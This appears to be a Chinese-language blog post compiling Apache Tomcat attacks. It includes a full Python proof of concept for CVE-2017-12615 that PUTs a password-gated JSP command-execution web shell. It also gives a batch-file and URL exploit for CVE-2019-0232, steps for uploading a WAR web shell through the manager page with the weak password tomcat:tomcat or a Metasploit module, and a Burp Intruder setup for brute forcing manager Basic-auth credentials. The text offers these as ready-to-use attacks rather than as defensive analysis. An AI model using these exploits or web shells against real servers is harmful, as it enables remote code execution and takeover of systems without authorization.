Tomcat 任意文件写入(CVE-2017-12615)

影响范围: Apache Tomcat 7.0.0 - 7.0.79

漏洞本质:Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致我们可以往服务器写文件

漏洞利用:修改请求,上传木马(修改get为PUT,修改名字,上传木马),PUT路径要用“/”结束,写入成功后,会返回201或者200,如果返回404说明没有写“/”。

POC:

import requests
import sys
import time

'''
Usage:
python CVE-2017-12615.py http://127.0.0.1
shell: http://127.0.0.1/20201126.jsp?pwd=fff&cmd=whoami
'''

def attack(url):
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
headers={"User-Agent":user_agent}
data="""<%
if("fff".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>"""
try:
requests.put(url, headers=headers, data=data)
time.sleep(2)
verify_response = requests.get(url[:-1], headers=headers)
if verify_response.status_code == 200:
print 'success!'
else :
print verify_response.status_code

except :
"error"

if __name__ == '__main__':
target_url = sys.argv[1] + '/201712615.jsp/'

attack(target_url)
print 'shell: ' + target_url[:-1]


Tomcat 远程代码执行(CVE-2019-0232)

影响范围:9.0.0.M1 ~ 9.0.17, 8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93

影响系统: Windows

编写attack.bat文件,内容如下:

@echo off
echo Content-Type:text/plain
echo.
set foo=%~1
%foo%


访问attack.bat文件,查看ip地址信息/命令执行

​http://127.0.0.1:8080/cgi-bin/hello.bat?c:/windows/system32/ipconfig​

Tomcat + 弱口令 && 后台getshell漏洞

​弱口令:tomcat:tomcat​

正常安装的情况下,tomcat7.0.94中默认没有任何用户,且manager页面只允许本地IP访问。

只有管理员手工修改了这些属性的情况下,才可以进行攻击。

访问 ​​http://127.0.0.1:8080/manager/html​​ ,输入弱密码tomcat:tomcat,登陆后台。

先将jsp大马压缩为zip,再将zip后缀改名为war,然后上传war包:名字为bmjoker

Tomcat漏洞汇总_html

Tomcat漏洞汇总_safari_02

点击上传,上传成功后,访问:​​http://xxx.xxx.xxx/bmjoker/bmjoker.jsp​

也可以使用msfconsole来getshell

选用模块 :exploit/multi/http/tomcat_mgr_upload

Tomcat manager App 暴力破解

访问:​​http://127.0.0.1:8080/manager/html​

输入密码,抓包输入的账号密码在HTTP字段中的Authorization中,

规则为Base64Encode(user:passwd)

例如:将“tomcat:tomcat”进行base64编码再给Authorization

Authorization: Basic dG9tY2F0OmFkbWlu

将数据包发送到intruder模块,并标记dG9tY2F0OmFkbWlu。

Payload type选择 Custom iterator

设置三个position,1为用户字典,2为“:” ,3为密码字典

Tomcat漏洞汇总_safari_03

并增加Payload Processing 为Base64-encode

Tomcat漏洞汇总_html_04

最后取消Palyload Encoding编码。

Tomcat漏洞汇总_tomcat配置_05